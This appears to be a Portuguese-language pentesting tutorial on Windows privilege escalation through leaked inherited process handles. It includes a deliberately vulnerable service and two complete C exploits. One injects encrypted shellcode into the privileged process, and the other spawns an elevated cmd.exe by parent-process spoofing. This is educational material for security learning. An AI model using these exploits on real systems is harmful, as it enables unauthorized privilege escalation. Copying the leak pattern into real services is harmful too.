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2023-06-06 18:56:34 +00:00

29 KiB

Exploração de Handle Vazado

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Introdução

Handles em um processo permitem acessar diferentes recursos do Windows:

Já houve vários casos de escalada de privilégios em que um processo privilegiado com handles abertos e hereditários executou um processo não privilegiado dando-lhe acesso a todos esses handles.

Por exemplo, imagine que um processo em execução como SYSTEM abre um novo processo (OpenProcess()) com acesso total. O mesmo processo também cria um novo processo (CreateProcess()) com baixos privilégios, mas herdando todos os handles abertos do processo principal.
Então, se você tiver acesso total ao processo com baixos privilégios, poderá pegar o handle aberto para o processo privilegiado criado com OpenProcess() e injetar um shellcode.

Handles Interessantes

Processo

Como você leu no exemplo inicial, se um processo não privilegiado herda um handle de processo de um processo privilegiado com privilégios suficientes, ele poderá executar código arbitrário nele.

Neste excelente artigo você pode ver como explorar qualquer handle de processo que tenha uma das seguintes permissões:

  • PROCESS_ALL_ACCESS
  • PROCESS_CREATE_PROCESS
  • PROCESS_CREATE_THREAD
  • PROCESS_DUP_HANDLE
  • PROCESS_VM_WRITE

Thread

Semelhante aos handles de processo, se um processo não privilegiado herda um handle de thread de um processo privilegiado com privilégios suficientes, ele poderá executar código arbitrário nele.

Neste excelente artigo você também pode ver como explorar qualquer handle de processo que tenha uma das seguintes permissões:

  • THREAD_ALL_ACCESS
  • THREAD_DIRECT_IMPERSONATION
  • THREAD_SET_CONTEXT

Handles de Arquivo, Chave e Seção

Se um processo não privilegiado herda um handle com permissões equivalentes de gravação sobre um arquivo ou registro privilegiado, ele poderá sobrescrever o arquivo/registro (e com muita sorte, escalar privilégios).

Handles de Seção são semelhantes aos handles de arquivo, o nome comum desses tipos de objetos é "File Mapping". Eles são usados para trabalhar com grandes arquivos sem manter o arquivo inteiro na memória. Isso torna a exploração "semelhante" à exploração de um Handle de Arquivo.

Como ver handles de processos

Process Hacker

Process Hacker é uma ferramenta que você pode baixar gratuitamente. Ele tem várias opções incríveis para inspecionar processos e uma delas é a capacidade de ver os handles de cada processo.

Observe que, para ver todos os handles de todos os processos, é necessário o SeDebugPrivilege (portanto, você precisa executar o Process Hacker como administrador).

Para ver os handles de um processo, clique com o botão direito do mouse no processo e selecione Handles:

Você pode então clicar com o botão direito do mouse no handle e verificar as permissões:

Sysinternals Handles

O binário Handles da Sysinternals também listará os handles por processo no console:

LeakedHandlesFinder

Esta ferramenta permite que você monitore handles vazados e até mesmo autoexploite para escalar privilégios.

Metodologia

Agora que você sabe como encontrar handles de processos, o que você precisa verificar é se algum processo não privilegiado está tendo acesso a handles privilegiados. Nesse caso, o usuário do processo pode ser capaz de obter o handle e abusá-lo para escalar privilégios.

{% hint style="warning" %} Foi mencionado anteriormente que você precisa do SeDebugPrivilege para acessar todos os handles. Mas um usuário ainda pode acessar os handles de seus processos, então pode ser útil se você quiser escalar privilégios apenas desse usuário para executar as ferramentas com as permissões regulares do usuário.

handle64.exe /a | findstr /r /i "process thread file key pid:"

{% endhint %}

Exemplo Vulnerável

Por exemplo, o seguinte código pertence a um serviço do Windows que seria vulnerável. O código vulnerável deste binário de serviço está localizado dentro da função Exploit. Esta função começa criando um novo processo de handle com acesso total. Em seguida, está criando um processo com baixo privilégio (copiando o token de baixo privilégio do explorer.exe) executando C:\users\username\desktop\client.exe. A vulnerabilidade reside no fato de que está criando o processo com baixo privilégio com bInheritHandles como TRUE.

Portanto, este processo de baixo privilégio é capaz de pegar o handle do processo de alto privilégio criado primeiro e injetar e executar um shellcode (veja a próxima seção).

#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;


//Find PID of a proces from its name
int FindTarget(const char *procname) {

	HANDLE hProcSnap;
	PROCESSENTRY32 pe32;
	int pid = 0;
			
	hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
			
	pe32.dwSize = sizeof(PROCESSENTRY32); 
			
	if (!Process32First(hProcSnap, &pe32)) {
			CloseHandle(hProcSnap);
			return 0;
	}
			
	while (Process32Next(hProcSnap, &pe32)) {
			if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
					pid = pe32.th32ProcessID;
					break;
			}
	}
			
	CloseHandle(hProcSnap);
			
	return pid;
}


int Exploit(void) {
	
  	STARTUPINFOA si;
  	PROCESS_INFORMATION pi;
	int pid = 0;
  	HANDLE hUserToken;
	HANDLE hUserProc;
  	HANDLE hProc;

	// open a handle to itself (privileged process) - this gets leaked!
  	hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

	// get PID of user low privileged process
	if ( pid = FindTarget("explorer.exe") ) 
		hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
	else
		return -1;
	
	// extract low privilege token from a user's process
    if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
        CloseHandle(hUserProc);
        return -1;
    }

	// spawn a child process with low privs and leaked handle
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe", 
						NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

	CloseHandle(hProc);
	CloseHandle(hUserProc);
    return 0;
}



void WINAPI ServiceControlHandler( DWORD controlCode ) {
	switch ( controlCode ) {
		case SERVICE_CONTROL_SHUTDOWN:
		case SERVICE_CONTROL_STOP:
			serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
			SetServiceStatus( serviceStatusHandle, &serviceStatus );

			SetEvent( stopServiceEvent );
			return;

		case SERVICE_CONTROL_PAUSE:
			break;

		case SERVICE_CONTROL_CONTINUE:
			break;

		case SERVICE_CONTROL_INTERROGATE:
			break;

		default:
			break;
	}
	SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
	// initialise service status
	serviceStatus.dwServiceType = SERVICE_WIN32;
	serviceStatus.dwCurrentState = SERVICE_STOPPED;
	serviceStatus.dwControlsAccepted = 0;
	serviceStatus.dwWin32ExitCode = NO_ERROR;
	serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
	serviceStatus.dwCheckPoint = 0;
	serviceStatus.dwWaitHint = 0;

	serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

	if ( serviceStatusHandle ) {
		// service is starting
		serviceStatus.dwCurrentState = SERVICE_START_PENDING;
		SetServiceStatus( serviceStatusHandle, &serviceStatus );

		// do initialisation here
		stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

		// running
		serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
		serviceStatus.dwCurrentState = SERVICE_RUNNING;
		SetServiceStatus( serviceStatusHandle, &serviceStatus );

		Exploit();
		WaitForSingleObject( stopServiceEvent, -1 );

		// service was stopped
		serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
		SetServiceStatus( serviceStatusHandle, &serviceStatus );

		// do cleanup here
		CloseHandle( stopServiceEvent );
		stopServiceEvent = 0;

		// service is now stopped
		serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
		serviceStatus.dwCurrentState = SERVICE_STOPPED;
		SetServiceStatus( serviceStatusHandle, &serviceStatus );
	}
}


void InstallService() {
	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

	if ( serviceControlManager ) {
		TCHAR path[ _MAX_PATH + 1 ];
		if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
			SC_HANDLE service = CreateService( serviceControlManager,
							serviceName, serviceName,
							SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
							SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
							0, 0, 0, 0, 0 );
			if ( service )
				CloseServiceHandle( service );
		}
		CloseServiceHandle( serviceControlManager );
	}
}

void UninstallService() {
	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

	if ( serviceControlManager ) {
		SC_HANDLE service = OpenService( serviceControlManager,
			serviceName, SERVICE_QUERY_STATUS | DELETE );
		if ( service ) {
			SERVICE_STATUS serviceStatus;
			if ( QueryServiceStatus( service, &serviceStatus ) ) {
				if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
					DeleteService( service );
			}
			CloseServiceHandle( service );
		}
		CloseServiceHandle( serviceControlManager );
	}
}

int _tmain( int argc, TCHAR* argv[] )
{
	if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
		InstallService();
	}
	else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
		UninstallService();
	}
	else  {
		SERVICE_TABLE_ENTRY serviceTable[] = {
			{ serviceName, ServiceMain },
			{ 0, 0 }
		};
	
		StartServiceCtrlDispatcher( serviceTable );
	}	

	return 0;
}

Exemplo de Exploração 1

{% hint style="info" %} Em um cenário real, você provavelmente não será capaz de controlar o binário que será executado pelo código vulnerável (C:\users\username\desktop\client.exe neste caso). Provavelmente, você irá comprometer um processo e precisará verificar se pode acessar qualquer handle vulnerável de qualquer processo privilegiado. {% endhint %}

Neste exemplo, você pode encontrar o código de uma possível exploração para C:\users\username\desktop\client.exe.
A parte mais interessante deste código está localizada em GetVulnProcHandle. Esta função irá começar a buscar todos os handles, em seguida, irá verificar se algum deles pertence ao mesmo PID e se o handle pertence a um processo. Se todos esses requisitos forem atendidos (um handle de processo aberto acessível é encontrado), ele tentará injetar e executar um shellcode abusando do handle do processo.
A injeção do shellcode é feita dentro da função Inject e ela apenas escreverá o shellcode dentro do processo privilegiado e criará uma thread dentro do mesmo processo para executar o shellcode).

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
        HCRYPTPROV hProv;
        HCRYPTHASH hHash;
        HCRYPTKEY hKey;

        if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
                return -1;
        }
        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
                return -1;
        }
        if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
                return -1;              
        }
        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
                return -1;
        }
        
        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
                return -1;
        }
        
        CryptReleaseContext(hProv, 0);
        CryptDestroyHash(hHash);
        CryptDestroyKey(hKey);
        
        return 0;
}


HANDLE GetVulnProcHandle(void) {
    
	ULONG handleInfoSize = 0x10000;
    NTSTATUS status;
    PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
	HANDLE hProc = NULL;
	POBJECT_TYPE_INFORMATION objectTypeInfo;
	PVOID objectNameInfo;
	UNICODE_STRING objectName;
    ULONG returnLength;
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    DWORD dwOwnPID = GetCurrentProcessId();
	
    pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
    pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
    pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
    pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
    pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

    printf("[+] Grabbing handles...");

    while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
											NULL )) == STATUS_INFO_LENGTH_MISMATCH)
        phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

    if (status != STATUS_SUCCESS)
    {
        printf("[!] NtQuerySystemInformation failed!\n");
        return 0;
    }

    printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

    // iterate handles until we find the privileged process handle
    for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
    {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

        // Check if this handle belongs to our own process
        if (handle.UniqueProcessId != dwOwnPID)
            continue;

        objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
        if (pNtQueryObject( (HANDLE) handle.HandleValue,
						ObjectTypeInformation,
						objectTypeInfo,
						0x1000,
						NULL ) != STATUS_SUCCESS)
            continue;

		// skip some objects to avoid getting stuck
		// see: https://github.com/adamdriscoll/PoshInternals/issues/7
        if (handle.GrantedAccess == 0x0012019f
			&& handle.GrantedAccess != 0x00120189
			&& handle.GrantedAccess != 0x120089
			&& handle.GrantedAccess != 0x1A019F ) {
            free(objectTypeInfo);
            continue;
        }

		// get object name information
        objectNameInfo = malloc(0x1000);
        if (pNtQueryObject( (HANDLE) handle.HandleValue,
						ObjectNameInformation,
						objectNameInfo,
						0x1000,
						&returnLength ) != STATUS_SUCCESS) {
            
			// adjust the size of a returned object and query again
			objectNameInfo = realloc(objectNameInfo, returnLength);
            if (pNtQueryObject( (HANDLE) handle.HandleValue,
							ObjectNameInformation,
							objectNameInfo,
							returnLength,
							NULL ) != STATUS_SUCCESS) {
                free(objectTypeInfo);
                free(objectNameInfo);
                continue;
            }
        }

        // check if we've got a process object
        objectName = *(PUNICODE_STRING) objectNameInfo;
        UNICODE_STRING pProcess;

        pRtlInitUnicodeString(&pProcess, L"Process");
        if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
            printf("[+] Found process handle (%x)\n", handle.HandleValue);
            hProc = (HANDLE) handle.HandleValue;
			free(objectTypeInfo);
			free(objectNameInfo);
			break;
        }
        else
            continue;
        
        free(objectTypeInfo);
        free(objectNameInfo);
    }
	
	return hProc;
} 

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
	
	LPVOID pRemoteCode = NULL;
    HANDLE hThread = NULL;
	BOOL bStatus = FALSE;

	pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
	pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
	pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
	
	pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
	pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
	
    bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
	if (bStatus != FALSE) {
			WaitForSingleObject(hThread, -1);
			CloseHandle(hThread);
			return 0;
	}
	else
		return -1;
}

int main(int argc, char **argv) {
	
	int pid = 0;
	HANDLE hProc = NULL;

	// AES encrypted shellcode spawning notepad.exe (ExitThread)
	char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
	unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
	unsigned int payload_len = sizeof(payload);

	printf("My PID: %d\n", GetCurrentProcessId());
	getchar();
	
	// find a leaked handle to a process
	hProc = GetVulnProcHandle();
	
	if ( hProc != NULL) {
		
		// d#Decrypt payload
		AESDecrypt((char *) payload, payload_len, key, sizeof(key));
		printf("[+] Sending gift...");
		// Inject and run the payload in the privileged context
		Inject(hProc, payload, payload_len);
		printf("done.\n");
	}
	getchar();

    return 0;
}

Exemplo de Exploração 2

{% hint style="info" %} Em um cenário real, você provavelmente não será capaz de controlar o binário que será executado pelo código vulnerável (C:\users\username\desktop\client.exe neste caso). Provavelmente, você irá comprometer um processo e precisará verificar se pode acessar qualquer handle vulnerável de qualquer processo privilegiado. {% endhint %}

Neste exemplo, em vez de abusar do handle aberto para injetar e executar um shellcode, será usado o token do processo de handle aberto privilegiado para criar um novo. Isso é feito nas linhas de 138 a 148.

Observe como a função UpdateProcThreadAttribute é usada com o atributo PROC_THREAD_ATTRIBUTE_PARENT_PROCESS e o handle para o processo privilegiado aberto. Isso significa que a thread do processo criado executando _cmd.exe_** terá o mesmo privilégio de token que o processo de handle aberto**.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


HANDLE GetVulnProcHandle(void) {
    
	ULONG handleInfoSize = 0x10000;
    NTSTATUS status;
    PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
	HANDLE hProc = NULL;
	POBJECT_TYPE_INFORMATION objectTypeInfo;
	PVOID objectNameInfo;
	UNICODE_STRING objectName;
    ULONG returnLength;
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    DWORD dwOwnPID = GetCurrentProcessId();
	
    pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
    pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
    pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
    pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
    pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

    printf("[+] Grabbing handles...");

    while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
											NULL )) == STATUS_INFO_LENGTH_MISMATCH)
        phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

    if (status != STATUS_SUCCESS)
    {
        printf("[!] NtQuerySystemInformation failed!\n");
        return 0;
    }

    printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

    // iterate handles until we find the privileged process handle
    for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
    {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

        // Check if this handle belongs to our own process
        if (handle.UniqueProcessId != dwOwnPID)
            continue;

        objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
        if (pNtQueryObject( (HANDLE) handle.HandleValue,
						ObjectTypeInformation,
						objectTypeInfo,
						0x1000,
						NULL ) != STATUS_SUCCESS)
            continue;

		// skip some objects to avoid getting stuck
		// see: https://github.com/adamdriscoll/PoshInternals/issues/7
        if (handle.GrantedAccess == 0x0012019f
			&& handle.GrantedAccess != 0x00120189
			&& handle.GrantedAccess != 0x120089
			&& handle.GrantedAccess != 0x1A019F ) {
            free(objectTypeInfo);
            continue;
        }

		// get object name information
        objectNameInfo = malloc(0x1000);
        if (pNtQueryObject( (HANDLE) handle.HandleValue,
						ObjectNameInformation,
						objectNameInfo,
						0x1000,
						&returnLength ) != STATUS_SUCCESS) {
            
			// adjust the size of a returned object and query again
			objectNameInfo = realloc(objectNameInfo, returnLength);
            if (pNtQueryObject( (HANDLE) handle.HandleValue,
							ObjectNameInformation,
							objectNameInfo,
							returnLength,
							NULL ) != STATUS_SUCCESS) {
                free(objectTypeInfo);
                free(objectNameInfo);
                continue;
            }
        }

        // check if we've got a process object
        objectName = *(PUNICODE_STRING) objectNameInfo;
        UNICODE_STRING pProcess;

        pRtlInitUnicodeString(&pProcess, L"Process");
        if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
            printf("[+] Found process handle (%x)\n", handle.HandleValue);
            hProc = (HANDLE) handle.HandleValue;
			free(objectTypeInfo);
			free(objectNameInfo);
			break;
        }
        else
            continue;
        
        free(objectTypeInfo);
        free(objectNameInfo);
    }
	
	return hProc;
} 


int main(int argc, char **argv) {
	
	HANDLE hProc = NULL;
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
	int pid = 0;
	SIZE_T size;
	BOOL ret;

	Sleep(20000);
	// find leaked process handle
	hProc = GetVulnProcHandle();

	if ( hProc != NULL) {

		// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
		ZeroMemory(&si, sizeof(STARTUPINFOEXA));

		InitializeProcThreadAttributeList(NULL, 1, 0, &size);
		si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
		
		InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
		UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);

		si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
		
		// Spawn elevated cmd process
		ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, 
			EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );

		if (ret == FALSE) {
			printf("[!] Error spawning new process: [%d]\n", GetLastError());
			return -1;
		}
	}
	
	Sleep(20000);
    return 0;
}

Outras ferramentas e exemplos

Esta ferramenta permite monitorar handles vazados para encontrar vulneráveis e até mesmo explorá-los automaticamente. Também possui uma ferramenta para vazar um handle.

Outra ferramenta para vazar um handle e explorá-lo.

Referências

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